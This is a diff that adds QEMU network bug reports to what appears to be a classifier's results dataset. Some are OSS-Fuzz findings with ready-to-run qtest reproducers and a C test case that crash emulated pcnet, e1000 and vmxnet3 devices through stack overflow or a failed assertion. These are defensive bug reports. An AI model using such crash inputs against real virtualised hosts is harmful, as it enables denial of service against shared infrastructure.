=== +==288216==ERROR: AddressSanitizer: stack-overflow on address 0x7fff51c96f48 (pc 0x56247061af36 bp 0x7fff51c97790 sp 0x7fff51c96f50 T0) +#0 0x56247061af36 in __asan_memcpy (/home/alxndr/Development/qemu/build/qemu-system-i386+0x2baff36) +#1 0x5624718eb70d in flatview_read_continue /home/alxndr/Development/qemu/build/../softmmu/physmem.c:2846:13 +#2 0x5624718ecd1b in flatview_read /home/alxndr/Development/qemu/build/../softmmu/physmem.c:2879:12 +#3 0x5624718ecd1b in address_space_read_full /home/alxndr/Development/qemu/build/../softmmu/physmem.c:2892:18 +#4 0x562470bcb75b in dma_memory_rw_relaxed /home/alxndr/Development/qemu/include/sysemu/dma.h:88:12 +#5 0x562470bcb75b in dma_memory_rw /home/alxndr/Development/qemu/include/sysemu/dma.h:127:12 +#6 0x562470bcb75b in pci_dma_rw /home/alxndr/Development/qemu/include/hw/pci/pci.h:803:12 +#7 0x562470bcb75b in pci_dma_read /home/alxndr/Development/qemu/include/hw/pci/pci.h:821:12 +#8 0x562470bcb75b in e1000_receive_iov /home/alxndr/Development/qemu/build/../hw/net/e1000.c:954:9 +#9 0x562470bca465 in e1000_receive /home/alxndr/Development/qemu/build/../hw/net/e1000.c:1025:12 +#10 0x562470bc9671 in e1000_send_packet /home/alxndr/Development/qemu/build/../hw/net/e1000.c:549:9 +#11 0x562470bc7dd8 in xmit_seg /home/alxndr/Development/qemu/build/../hw/net/e1000.c +#12 0x562470bc4dfe in process_tx_desc /home/alxndr/Development/qemu/build/../hw/net/e1000.c:701:9 +#13 0x562470bc4dfe in start_xmit /home/alxndr/Development/qemu/build/../hw/net/e1000.c:756:9 +#14 0x562470bc4dfe in set_tctl /home/alxndr/Development/qemu/build/../hw/net/e1000.c:1127:5 +#15 0x5624719ef2f6 in memory_region_write_accessor /home/alxndr/Development/qemu/build/../softmmu/memory.c:491:5 +#16 0x5624719eed63 in access_with_adjusted_size /home/alxndr/Development/qemu/build/../softmmu/memory.c:552:18 +#17 0x5624719ee5c0 in memory_region_dispatch_write /home/alxndr/Development/qemu/build/../softmmu/memory.c +#18 0x5624718f7776 in flatview_write_continue /home/alxndr/Development/qemu/build/../softmmu/physmem.c:2776:23 +#19 0x5624718ed13b in flatview_write /home/alxndr/Development/qemu/build/../softmmu/physmem.c:2816:14 +#20 0x5624718ed13b in address_space_write /home/alxndr/Development/qemu/build/../softmmu/physmem.c:2908:18 +#21 0x562470bcba6b in dma_memory_rw_relaxed /home/alxndr/Development/qemu/include/sysemu/dma.h:88:12 +#22 0x562470bcba6b in dma_memory_rw /home/alxndr/Development/qemu/include/sysemu/dma.h:127:12 +#23 0x562470bcba6b in pci_dma_rw /home/alxndr/Development/qemu/include/hw/pci/pci.h:803:12 +#24 0x562470bcba6b in pci_dma_write /home/alxndr/Development/qemu/include/hw/pci/pci.h:839:12 +#25 0x562470bcba6b in e1000_receive_iov /home/alxndr/Development/qemu/build/../hw/net/e1000.c:967:21 +#26 0x562470bca465 in e1000_receive /home/alxndr/Development/qemu/build/../hw/net/e1000.c:1025:12 +#27 0x562470bc9671 in e1000_send_packet /home/alxndr/Development/qemu/build/../hw/net/e1000.c:549:9 +... \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1917085 b/results/classifier/gemma3:12b/network/1917085 new file mode 100644 index 000000000..22d9b71e6 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1917085 @@ -0,0 +1,63 @@ + + [OSS-Fuzz] Issue 30588 pcnet: Loopback-related stack-overflow + +=== Reproducer === +cat << EOF | ./qemu-system-i386 -display none -machine accel=qtest, -m \ +512M -machine q35 -nodefaults -device pcnet,netdev=net0 -netdev \ +user,id=net0 -qtest /dev/null -qtest stdio +outl 0xcf8 0x80000810 +outl 0xcfc 0xc001 +outl 0xcf8 0x80000804 +outw 0xcfc 0x7 +outl 0xc011 0xff14ff +outl 0xcf8 0x80000815 +outl 0xcfc 0xffffffff +outl 0xc015 0x35a +inl 0xc012 +outw 0xc010 0x6165 +outw 0xc010 0x1127 +write 0x0 0x1 0x56 +write 0x2 0x1 0xff +write 0x15 0x1 0xff +write 0x16 0x1 0xff +write 0x17 0x1 0xff +write 0x18 0x1 0xfd +write 0x19 0x1 0x59 +write 0x1a 0x1 0xfe +write 0x1b 0x1 0xff +outw 0xc010 0x1db +EOF + +=== Stack-trace === +==312573==ERROR: AddressSanitizer: stack-overflow on address 0x7ffd5bb4cec8 (pc 0x55a8f1c9cf36 bp 0x7ffd5bb4d710 sp 0x7ffd5bb4ced0 T0) +#0 0x55a8f1c9cf36 in __asan_memcpy (/home/alxndr/Development/qemu/build/qemu-system-i386+0x2baff36) +#1 0x55a8f2f54ddf in flatview_do_translate /home/alxndr/Development/qemu/build/../softmmu/physmem.c:518:12 +#2 0x55a8f2f6ec8e in flatview_translate /home/alxndr/Development/qemu/build/../softmmu/physmem.c:568:15 +#3 0x55a8f2f6ec8e in flatview_read /home/alxndr/Development/qemu/build/../softmmu/physmem.c:2878:10 +#4 0x55a8f2f6ec8e in address_space_read_full /home/alxndr/Development/qemu/build/../softmmu/physmem.c:2892:18 +#5 0x55a8f273036e in pcnet_rmd_load /home/alxndr/Development/qemu/build/../hw/net/pcnet.c:381:9 +#6 0x55a8f272e386 in pcnet_rdte_poll /home/alxndr/Development/qemu/build/../hw/net/pcnet.c:896:9 +#7 0x55a8f27299d0 in pcnet_receive /home/alxndr/Development/qemu/build/../hw/net/pcnet.c:1016:9 +#8 0x55a8f27406be in pcnet_transmit /home/alxndr/Development/qemu/build/../hw/net/pcnet.c:1253:13 +#9 0x55a8f2735b4c in pcnet_poll_timer /home/alxndr/Development/qemu/build/../hw/net/pcnet.c:1322:9 +#10 0x55a8f273c353 in pcnet_ioport_readl /home/alxndr/Development/qemu/build/../hw/net/pcnet.c:1660:5 +#11 0x55a8f2727361 in pcnet_ioport_read /home/alxndr/Development/qemu/build/../hw/net/pcnet-pci.c:107:20 +#12 0x55a8f309e9f6 in memory_region_read_accessor /home/alxndr/Development/qemu/build/../softmmu/memory.c:442:11 +#13 0x55a8f3070d63 in access_with_adjusted_size /home/alxndr/Development/qemu/build/../softmmu/memory.c:552:18 +#14 0x55a8f306f222 in memory_region_dispatch_read1 /home/alxndr/Development/qemu/build/../softmmu/memory.c +#15 0x55a8f306f222 in memory_region_dispatch_read /home/alxndr/Development/qemu/build/../softmmu/memory.c:1449:9 +#16 0x55a8f2f6d88f in flatview_read_continue /home/alxndr/Development/qemu/build/../softmmu/physmem.c:2839:23 +#17 0x55a8f2f6ed1b in flatview_read /home/alxndr/Development/qemu/build/../softmmu/physmem.c:2879:12 +#18 0x55a8f2f6ed1b in address_space_read_full /home/alxndr/Development/qemu/build/../softmmu/physmem.c:2892:18 +#19 0x55a8f273036e in pcnet_rmd_load /home/alxndr/Development/qemu/build/../hw/net/pcnet.c:381:9 +#20 0x55a8f2729d97 in pcnet_receive /home/alxndr/Development/qemu/build/../hw/net/pcnet.c:1028:17 +#21 0x55a8f27406be in pcnet_transmit /home/alxndr/Development/qemu/build/../hw/net/pcnet.c:1253:13 +#22 0x55a8f2735b4c in pcnet_poll_timer /home/alxndr/Development/qemu/build/../hw/net/pcnet.c:1322:9 +#23 0x55a8f273c353 in pcnet_ioport_readl /home/alxndr/Development/qemu/build/../hw/net/pcnet.c:1660:5 +#24 0x55a8f2727361 in pcnet_ioport_read /home/alxndr/Development/qemu/build/../hw/net/pcnet-pci.c:107:20 +#25 0x55a8f309e9f6 in memory_region_read_accessor /home/alxndr/Development/qemu/build/../softmmu/memory.c:442:11 +#26 0x55a8f3070d63 in access_with_adjusted_size /home/alxndr/Development/qemu/build/../softmmu/memory.c:552:18 +#27 0x55a8f306f222 in memory_region_dispatch_read1 /home/alxndr/Development/qemu/build/../softmmu/memory.c +#28 0x55a8f306f222 in memory_region_dispatch_read /home/alxndr/Development/qemu/build/../softmmu/memory.c:1449:9 +#29 0x55a8f2f6d88f in flatview_read_continue /home/alxndr/Development/qemu/build/../softmmu/physmem.c:2839:23 +#30 0x55a8f2f6ed1b in flatview_read /home/alxndr/Development/qemu/build/../softmmu/physmem.c:2879:12 \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1917161 b/results/classifier/gemma3:12b/network/1917161 new file mode 100644 index 000000000..e889ea468 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1917161 @@ -0,0 +1,11 @@ + +Parameter 'type' expects a netdev backend type + +When using QEMU on an M1 Mac with Mac OS 11.1, I see this error message when trying to enable networking for a guest: + +Parameter 'type' expects a netdev backend type + +Example command: +qemu-system-i386 -m 700 -hda <Windows XP HD file> -netdev user,id=n0 -device rtl8139,netdev=n0 + +What should happen is networking should work when issuing the above command. What actually happens is QEMU exits immediately. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1918 b/results/classifier/gemma3:12b/network/1918 new file mode 100644 index 000000000..ed4edc92f --- /dev/null +++ b/results/classifier/gemma3:12b/network/1918 @@ -0,0 +1,50 @@ + +Build failure on FreeBSD 13.2-RELEASE-p3 amd64 with --vhost-user +Description of problem: +- Assumption that the python interpreter is in PATH as `python3` +- Attempt to include Linux headers on a FreeBSD system +Steps to reproduce: +1. `$ ./configure --prefix=/opt/qemu --enable-vhost-user` (log attached below) +2. `$ ninja -C build` +3. See it running a python script without an explicit python interpreter +4. Work around by invoking the python script through the interpreter that meson found: + +```diff +diff --git a/ui/meson.build b/ui/meson.build +index 0a1e8272a3..c6456f54c4 100644 +--- a/ui/meson.build ++++ b/ui/meson.build +@@ -81,7 +81,7 @@ if dbus_display + input: 'dbus-display1.xml', + output: 'dbus-display1.xml', + env: env, +- command: [xml_pp, '@INPUT@', '@OUTPUT@']) ++ command: [python, xml_pp, '@INPUT@', '@OUTPUT@']) + dbus_display1 = custom_target('dbus-display gdbus-codegen', + output: ['dbus-display1.h', 'dbus-display1.c'], + input: xml, + +``` + +5. Then fails trying to include a Linux header: + +```console +/usr/bin/cc -m64 -mcx16 -Ilibcommon.fa.p -I../common-user/host/x86_64 -I../bsd-user/include -Isubprojects/dtc/libfdt -I../subprojects/dtc/libfdt -Iui -I../ui -I/usr/local/include/capstone -I/usr/local/include/pixman-1 -I/usr/local/include/l +ibpng16 -I/usr/local/include -I/usr/local/include/p11-kit-1 -I/usr/local/include/SDL2 -I/usr/local/include/glib-2.0 -I/usr/local/lib/glib-2.0/include -I/usr/local/include/gio-unix-2.0 -I/usr/local/include/slirp -I/usr/local/include/gtk-3.0 +-I/usr/local/include/pango-1.0 -I/usr/local/include/harfbuzz -I/usr/local/include/freetype2 -I/usr/local/include/fribidi -I/usr/local/include/cairo -I/usr/local/include/gdk-pixbuf-2.0 -I/usr/local/include/libepoll-shim -I/usr/local/include/ +atk-1.0 -I/usr/local/include/at-spi2-atk/2.0 -I/usr/local/include/at-spi-2.0 -I/usr/local/include/dbus-1.0 -I/usr/local/lib/dbus-1.0/include -I/usr/local/include/vte-2.91 -I/usr/local/include/webp -fcolor-diagnostics -Wall -Winvalid-pch -st +d=gnu11 -O2 -g -fstack-protector-strong -Wundef -Wwrite-strings -Wmissing-prototypes -Wstrict-prototypes -Wredundant-decls -Wold-style-definition -Wtype-limits -Wformat-security -Wformat-y2k -Winit-self -Wignored-qualifiers -Wempty-body -Wn +ested-externs -Wendif-labels -Wexpansion-to-defined -Wmissing-format-attribute -Wno-initializer-overrides -Wno-missing-include-dirs -Wno-shift-negative-value -Wno-string-plus-int -Wno-typedef-redefinition -Wno-tautological-type-limit-compar +e -Wno-psabi -Wno-gnu-variable-sized-type-not-at-end -Wthread-safety -iquote . -iquote /usr/home/nico/build/qemu -iquote /usr/home/nico/build/qemu/include -iquote /usr/home/nico/build/qemu/host/include/x86_64 -iquote /usr/home/nico/build/qe +mu/host/include/generic -iquote /usr/home/nico/build/qemu/tcg/i386 -pthread -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE -fno-strict-aliasing -fno-common -fwrapv -fPIE -DAVIF_DLL -DHWY_SHARED_DEFINE -D_REENTRANT -D_THREAD_SAFE - +MD -MQ libcommon.fa.p/hw_net_vhost_net.c.o -MF libcommon.fa.p/hw_net_vhost_net.c.o.d -o libcommon.fa.p/hw_net_vhost_net.c.o -c ../hw/net/vhost_net.c +In file included from ../hw/net/vhost_net.c:37: +/usr/home/nico/build/qemu/linux-headers/linux/vhost.h:14:10: fatal error: 'linux/vhost_types.h' file not found +#include <linux/vhost_types.h> + ^~~~~~~~~~~~~~~~~~~~~ +``` + +I don't know what that is about. Full build log is attached below. +Additional information: +[config_log](/uploads/49d1c33d4b3951f79f826a701ceff1c2/config_log) +[build_log_fail](/uploads/2cb3b49e7503a430457c4d99b1c60dbe/build_log_fail) diff --git a/results/classifier/gemma3:12b/network/1920871 b/results/classifier/gemma3:12b/network/1920871 new file mode 100644 index 000000000..9c3ea14ed --- /dev/null +++ b/results/classifier/gemma3:12b/network/1920871 @@ -0,0 +1,52 @@ + +netperf UDP_STREAM high packet loss on QEMU tap network + +Hi, I boot a guest with "-netdev tap,id=hn0,vhost=off,br=br0,helper=/usr/local/libexec/qemu-bridge-helper" network option, and using "netperf -H IP -t UDP_STREAM" to test guest UDP performance, I got the following output: + +Socket Message Elapsed Messages +Size Size Time Okay Errors Throughput +bytes bytes secs # # 10^6bits/sec + +212992 65507 10.00 144710 0 7583.56 +212992 10.00 32 1.68 + +We can find most of UDP packets are lost. But I test another host machine or use "-netdev usr,xxxxx". I can got: +Socket Message Elapsed Messages +Size Size Time Okay Errors Throughput +bytes bytes secs # # 10^6bits/sec + +212992 65507 10.00 18351 0 961.61 +212992 10.00 18350 961.56 + +most of UDP packets are recived. + +And If we check the tap qemu used, we can see: +ifconfig tap0 +tap0: flags=4419<UP,BROADCAST,RUNNING,PROMISC,MULTICAST> mtu 1500 + inet6 fe80::ecc6:21ff:fe6f:b174 prefixlen 64 scopeid 0x20<link> + ether ee:c6:21:6f:b1:74 txqueuelen 1000 (Ethernet) + RX packets 282 bytes 30097 (29.3 KiB) + RX errors 0 dropped 0 overruns 0 frame 0 + TX packets 9086214 bytes 12731596673 (11.8 GiB) + TX errors 0 dropped 16349024 overruns 0 carrier 0 collisions 0 +lots of TX packets are dropped. + +list other packet size: + +➜ boot netperf -H 192.168.199.200 -t UDP_STREAM -- -m 1 +MIGRATED UDP STREAM TEST from 0.0.0.0 (0.0.0.0) port 0 AF_INET to 192.168.199.200 () port 0 AF_INET +Socket Message Elapsed Messages +Size Size Time Okay Errors Throughput +bytes bytes secs # # 10^6bits/sec + +212992 1 10.00 2297941 0 1.84 +212992 10.00 1462024 1.17 + +➜ boot netperf -H 192.168.199.200 -t UDP_STREAM -- -m 128 +MIGRATED UDP STREAM TEST from 0.0.0.0 (0.0.0.0) port 0 AF_INET to 192.168.199.200 () port 0 AF_INET +Socket Message Elapsed Messages +Size Size Time Okay Errors Throughput +bytes bytes secs # # 10^6bits/sec + +212992 128 10.00 2311547 0 236.70 +212992 10.00 1359834 139.25 \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1922102 b/results/classifier/gemma3:12b/network/1922102 new file mode 100644 index 000000000..e0c630252 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1922102 @@ -0,0 +1,48 @@ + +Broken tap networking on macOS host + +Building QEMU with GLib newer than 2.58.3 corrupts tap networking. +Tap device was provided by Tun/Tap kernel extension installed from brew: + brew install tuntap + +Checked revisions: + 553032d (v5.2.0) + 6d40ce0 (v6.0.0-rc1) + +Host: + MacBook Pro (Retina, 15-inch, Mid 2015) + macOS Catalina 10.15.6 (19G2021) + +Guest: + Linux Ubuntu 4.4.0-206-generic x86_64 + Also tested macOS Catalina 10.15.7 as a guest, the behaviour is the same. + +QEMU command line: + +qemu-system-x86_64 \ + -drive file=hdd.qcow2,if=virtio,format=qcow2 \ + -m 3G \ + -nic tap,script=tap-up.sh + +tap-up.sh: + + #!/bin/sh + + TAPDEV="$1" + BRIDGEDEV="bridge0" + + ifconfig "$BRIDGEDEV" addm "$TAPDEV" + +Enabling/disabling Hypervisor.Framework acceleration (`-accel hvf`) has no effect. + +How to reproduce: + 1. Build & install GLib > 2.58.3 (tested 2.60.7, 2.60.7) + 2. Build qemu-system-x86_64 with GLib > 2.58.3 + 3. Boot any guest any guest with tap networking enabled + 4. See that the external network is inaccessible + +Hotfix: + 1. Build & install GLib 2.58.3 + 2. Build qemu-system-x86_64 with GLib 2.58.3 + 3. Boot any guest with tap networking enabled + 4. See that the external network is accessible, everything is working as expected \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1923692 b/results/classifier/gemma3:12b/network/1923692 new file mode 100644 index 000000000..cc9e798a6 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1923692 @@ -0,0 +1,8 @@ + +qemu 5.2.0: Add reconnect option support for netdev socket + +Most of qemu socket accepting options (such as chardev) accept among other things a "reconnect" option. + +netdev socket however returns: Invalid parameter 'reconnect' + +It would make sense that available options for socket links be at least partially normalized (also see issue https://bugs.launchpad.net/qemu/+bug/1903470 which was closed without resolution). \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1924603 b/results/classifier/gemma3:12b/network/1924603 new file mode 100644 index 000000000..4d922e39d --- /dev/null +++ b/results/classifier/gemma3:12b/network/1924603 @@ -0,0 +1,52 @@ + +Incorrect feature negotiation for vhost-vdpa netdevice + +QEMU cmdline: +============= +./x86_64-softmmu/qemu-system-x86_64 -machine accel=kvm -m 2G -hda /gautam/centos75_1.qcow2 -name gautam,process=gautam -enable-kvm -netdev vhost-vdpa,id=mynet0,vhostdev=/dev/vhost-vdpa-0 -device virtio-net-pci,netdev=mynet0,mac=02:AA:BB:DD:00:20,disable-modern=off,page-per-vq=on -cpu host --nographic + +Host OS: +======== +Linux kernel 5.11 running on x86 host + +Guest OS: +========== +CentOS 7.5 + +Root cause analysis: +===================== + +For vhost-vdpa netdevice, the feature negotiation results in sending the superset of features received from device in call to get_features vdpa ops callback. + +During the feature-negotiation phase, the acknowledged feature bits are initialized with backend_features and then checked for supported feature bits in vhost_ack_features(): + +void vhost_net_ack_features(struct vhost_net *net, uint64_t features) +{ + net->dev.acked_features = net->dev.backend_features; + vhost_ack_features(&net->dev, vhost_net_get_feature_bits(net), features); +} + + +The vhost_ack_features() function just builds up on the dev.acked_features and never trims it down: + +void vhost_ack_features(struct vhost_dev *hdev, const int *feature_bits, uint64_t features) +{ const int *bit = feature_bits; + + while (*bit != VHOST_INVALID_FEATURE_BIT) { + uint64_t bit_mask = (1ULL << *bit); + + if (features & bit_mask) + hdev->acked_features |= bit_mask; + + bit++; + } +} + +Because of this hdev->acked_features is always minimally equal to the value of device features and this is the value that is passed to the device in set_features callback: + +static int vhost_dev_set_features(struct vhost_dev *dev, bool enable_log) +{ + uint64_t *features = dev->acked_features; + ..... + r = dev->vhost_ops->*vhost_set_features*(dev, features); +} \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1925449 b/results/classifier/gemma3:12b/network/1925449 new file mode 100644 index 000000000..e622faff4 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1925449 @@ -0,0 +1,38 @@ + +Failure building with clang-10 and libssh + +On Fedora 32, configuring with --enable-libssh and building with clang: + +qemu 5.2.94 + + Compilation + host CPU : x86_64 + host endianness : little + C compiler : clang-10 + Host C compiler : clang-10 + + Dependencies + libssh support : YES + +triggers: + +FAILED: libblock.fa.p/block_ssh.c.o +block/ssh.c:349:13: error: 'ssh_is_server_known' is deprecated [-Werror,-Wdeprecated-declarations] + state = ssh_is_server_known(s->session); + ^ +/usr/include/libssh/libssh.h:546:1: note: 'ssh_is_server_known' has been explicitly marked deprecated here +SSH_DEPRECATED LIBSSH_API int ssh_is_server_known(ssh_session session); +^ +/usr/include/libssh/libssh.h:84:40: note: expanded from macro 'SSH_DEPRECATED' +#define SSH_DEPRECATED __attribute__ ((deprecated)) + ^ +block/ssh.c:444:9: error: 'ssh_get_publickey' is deprecated [-Werror,-Wdeprecated-declarations] + r = ssh_get_publickey(s->session, &pubkey); + ^ +/usr/include/libssh/libssh.h:543:1: note: 'ssh_get_publickey' has been explicitly marked deprecated here +SSH_DEPRECATED LIBSSH_API int ssh_get_publickey(ssh_session session, ssh_key *key); +^ +/usr/include/libssh/libssh.h:84:40: note: expanded from macro 'SSH_DEPRECATED' +#define SSH_DEPRECATED __attribute__ ((deprecated)) + ^ +2 errors generated. \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1926111 b/results/classifier/gemma3:12b/network/1926111 new file mode 100644 index 000000000..ce2fcfe95 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1926111 @@ -0,0 +1,86 @@ + +Assertion `tx_queue_idx <= s->txq_num' failed in vmxnet3_io_bar0_write + +=== Stacktrace === + +qemu-fuzz-i386: ../hw/net/vmxnet3.c:1096: void vmxnet3_io_bar0_write(void *, hwaddr, uint64_t, unsigned int): Assertion `tx_queue_idx <= s->txq_num' failed. +==602353== ERROR: libFuzzer: deadly signal +#5 0x7fe4b93a7ce0 in raise signal/../sysdeps/unix/sysv/linux/raise.c:48:3 +#6 0x7fe4b9391536 in abort stdlib/abort.c:79:7 +#7 0x7fe4b939140e in __assert_fail_base assert/assert.c:92:3 +#8 0x7fe4b93a0661 in __assert_fail assert/assert.c:101:3 +#9 0x563e6cf5ebb5 in vmxnet3_io_bar0_write hw/net/vmxnet3.c:1096:9 +#10 0x563e6eefdb00 in memory_region_write_accessor softmmu/memory.c:491:5 +#11 0x563e6eefcfdd in access_with_adjusted_size softmmu/memory.c:552:18 +#12 0x563e6eefac90 in memory_region_dispatch_write softmmu/memory.c:1502:16 +#13 0x563e6e834e16 in flatview_write_continue softmmu/physmem.c:2746:23 +#14 0x563e6e81cd38 in flatview_write softmmu/physmem.c:2786:14 +#15 0x563e6e81c868 in address_space_write softmmu/physmem.c:2878:18 + +=== Reproducer === +cat << EOF | ./qemu-system-i386 -display none -machine accel=qtest, -m \ +512M -machine q35 -nodefaults -device vmxnet3,netdev=net0 -netdev \ +user,id=net0 -qtest stdio +outl 0xcf8 0x80000810 +outl 0xcfc 0xe0000000 +outl 0xcf8 0x80000814 +outl 0xcf8 0x80000804 +outw 0xcfc 0x7 +outl 0xcf8 0x80000815 +outl 0xcfc 0xffff00b5 +write 0x0 0x1 0xe1 +write 0x1 0x1 0xfe +write 0x2 0x1 0xbe +write 0x3 0x1 0xba +write 0xff00b020 0x4 0x0000feca +write 0xe0000630 0x1 0x00 +EOF + + +=== Testcase === + +/* + * Autogenerated Fuzzer Test Case + * + * This work is licensed under the terms of the GNU GPL, version 2 or later. + * See the COPYING file in the top-level directory. + */ + +#include "qemu/osdep.h" + +#include "libqos/libqtest.h" + +static void test_fuzz(void) { + QTestState *s = qtest_init(" -display none , -m 512M -machine q35 -nodefaults " + "-device vmxnet3,netdev=net0 -netdev user,id=net0"); + qtest_outl(s, 0xcf8, 0x80000810); + qtest_outl(s, 0xcfc, 0xe0000000); + qtest_outl(s, 0xcf8, 0x80000814); + qtest_outl(s, 0xcf8, 0x80000804); + qtest_outw(s, 0xcfc, 0x7); + qtest_outl(s, 0xcf8, 0x80000815); + qtest_outl(s, 0xcfc, 0xffff00b5); + qtest_bufwrite(s, 0x0, "\xe1", 0x1); + qtest_bufwrite(s, 0x1, "\xfe", 0x1); + qtest_bufwrite(s, 0x2, "\xbe", 0x1); + qtest_bufwrite(s, 0x3, "\xba", 0x1); + qtest_bufwrite(s, 0xff00b020, "\x00\x00\xfe\xca", 0x4); + qtest_bufwrite(s, 0xe0000630, "\x00", 0x1); + qtest_quit(s); +} +int main(int argc, char **argv) { + const char *arch = qtest_get_arch(); + + g_test_init(&argc, &argv, NULL); + + if (strcmp(arch, "i386") == 0) { + qtest_add_func("fuzz/test_fuzz", test_fuzz); + } + + return g_test_run(); +} + + +=== OSS-Fuzz Report === +https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=33603 +https://oss-fuzz.com/testcase?key=6071483232288768 \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1926497 b/results/classifier/gemma3:12b/network/1926497 new file mode 100644 index 000000000..3a762d8d7 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1926497 @@ -0,0 +1,25 @@ + +dp83932 stops working after a short while + +Following the instructions here https://wiki.qemu.org/Documentation/Platforms/m68k I was able to successfully install debian. However, running apt-get update stalls after the first 1-2MB. + +root@debian:~# apt-get update +Get:1 http://ftp.ports.debian.org/debian-ports sid InRelease [55.3 kB] +Ign:1 http://ftp.ports.debian.org/debian-ports sid InRelease +Get:2 http://ftp.ports.debian.org/debian-ports sid/main all Packages [8,735 kB] +18% [2 Packages 2,155 kB/8,735 kB 25%] + +After running apt-get update. I don't seem to be able to send any packets anymore. ping host lookups fail and a subsequent apt-get update makes no progress. + +I'm launching qemu with: + + qemu-system-m68k -boot c \ + -M q800 -serial none -serial mon:stdio -m 1000M \ + -net nic,model=dp83932 -net user \ + -append "root=/dev/sda2 rw console=ttyS0 console=tty" \ + -kernel vmlinux-4.16.0-1-m68k \ + -initrd initrd.img-4.16.0-1-m68k \ + -drive file=m68k-deb10.qcow2,format=qcow2 \ + -nographic + +I see this with qemu v6.0.0-rc5 \ No newline at end of file diff --git a/results/classifier/gemma3:12b/network/1937 b/results/classifier/gemma3:12b/network/1937 new file mode 100644 index 000000000..5028004d2 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1937 @@ -0,0 +1,12 @@ + +Live migration with TLS fail (GNUTLS AUTO_REKEY) +Description of problem: +Live migration with TLS fail in postcopy stage when: + +# +Steps to reproduce: +1. run VM with heavy RAM load: `nohup stress-ng --vm 6 --vm-bytes 12G &` +2. run precopy for more that 80sec +3. switch into post-copy stage +Additional information: +This only occurs with TLS transport, if clear qemu+tcp is used then everything works. diff --git a/results/classifier/gemma3:12b/network/1949 b/results/classifier/gemma3:12b/network/1949 new file mode 100644 index 000000000..58d5947a7 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1949 @@ -0,0 +1,13 @@ + +chardev zombie TCP session +Description of problem: +When user terminates TCP session ungracefully (eg: power-cycle or network cable disconnect), the TCP session keeps in established status forever. In this state, new sessions can't access the chardev, since the zombie TCP session keeps exclusive access to chardev. +Steps to reproduce: +1.Establish client session to chardev TCP socket. +2.Power-off the client machine. +3.Establish a new client session +4.Observe that old TCP session is never killed and new session can connect but not interact with chardev. +Additional information: +Suggestions to resolve this and improve the chardev feature: +- enable TCP keep-alive for chardev server. +- allow multiple client sessions concurrently, where chardev output is broadcasted to all client sessions, and chardev input is shared by all clients. diff --git a/results/classifier/gemma3:12b/network/1957 b/results/classifier/gemma3:12b/network/1957 new file mode 100644 index 000000000..4ca3d235e --- /dev/null +++ b/results/classifier/gemma3:12b/network/1957 @@ -0,0 +1,21 @@ + +Reading files failed from QEMU TFTP server +Description of problem: +QEMU TFTP server on Linux is sensitive to the filename delimiters: + +After building QEMU UEFI firmware with the entire NetworkPkg stack and booting to UEFI shell, one can use `tftp` command to read files from the QEMU TFTP server specified during QEMU launching. i.e. `tftp 10.0.2.2 Boot\BCD`. However, when setting up the TFTP folder to be exactly the same (Linux and Windows), the result for running this command is different. On Windows host, this tftp command from emulated UEFI shell will proceed properly. But on Linux host, this will fail with "File Not Found". + +The issue seems to be around the slirp engine used by QEMU: the received packet will hand off to slirp as is, which leads to a host specific libc implementation of "open" function call: https://git.launchpad.net/ubuntu/+source/libslirp/tree/src/tftp.c#n113. Thus the server result would be different when the host is different. + +This will cause the PXE boot to fail when setting up the PXE folder on through QEMU on Linux because Windows will attempt to read BCD file at the same directory of the initial boot file, with a `\` in between. + +As TFTP protocol seems to be folder agnostic (just file names), in this case, should the TFTP server (QEMU here) handle the path normalization to make sure the file lookup to go through? Otherwise, Windows PXE boot on QEMU Linux host will always fail. + +Any suggestion here? Thanks in advance! +Steps to reproduce: +1. Build OVMF UEFI with full network stack +2. Launch QEMU with the built UEFI with nic enabled, boot to UEFI shell. +3. Invoke `tftp 10.0.2.2 Boot\BCD` from UEFI shell. +4. When performing step 1-3 on Windows, this will succeed. But on Linux, this will fail with "File Not Found" +Additional information: +Attached is a wireshark dump from QEMU on Linux host. The same command sequence will all be successful on Windows host. diff --git a/results/classifier/gemma3:12b/network/1975 b/results/classifier/gemma3:12b/network/1975 new file mode 100644 index 000000000..77ba0a435 --- /dev/null +++ b/results/classifier/gemma3:12b/network/1975 @@ -0,0 +1,38 @@ + +SEGV on exit: net_cleanup() frees devices it doesn't own. +Description of problem: +On exiting QEMU, the `net_cleanup()` function iterates over all existing `net_clients`, both netdevs and nics, and deletes them all. Freeing the netdevs is fine, and they are correctly detached from their peer nic as appropriate. But the nics belong to an actual device and this can cause a use-after-free or double-free. + +Mostly this doesn't happen because emulated devices *don't* bother to clean up after themselves on exit; none of their state is going to outlast the QEMU process so there's no point. But XenBus devices interact with the external XenStore and do need to perform a cleanup. The `xen_netdev_unrealize()` function calls `qemu_del_nic()` on the nic which `net_cleanup()` already stole from it, and crashes... + +``` +QEMU: Terminated + +Thread 1 "qemu-system-x86" received signal SIGSEGV, Segmentation fault. +qemu_del_nic (nic=0x55555846ab00) at ../net/net.c:451 +451 int i, queues = MAX(nic->conf->peers.queues, 1); +(gdb) bt +#0 qemu_del_nic (nic=0x55555846ab00) at ../net/net.c:451 +#1 0x0000555555a89ce3 in xen_device_unrealize (dev=<optimized out>) at ../hw/xen/xen-bus.c:973 +#2 0x0000555555e5c847 in notifier_list_notify (list=<optimized out>, data=0x0) at ../util/notify.c:39 +#3 0x00007ffff5fe51e6 in __run_exit_handlers (status=0, listp=<optimized out>, run_list_atexit=run_list_atexit@entry=true, run_dtors=run_dtors@entry=true) at exit.c:111 +#4 0x00007ffff5fe532e in 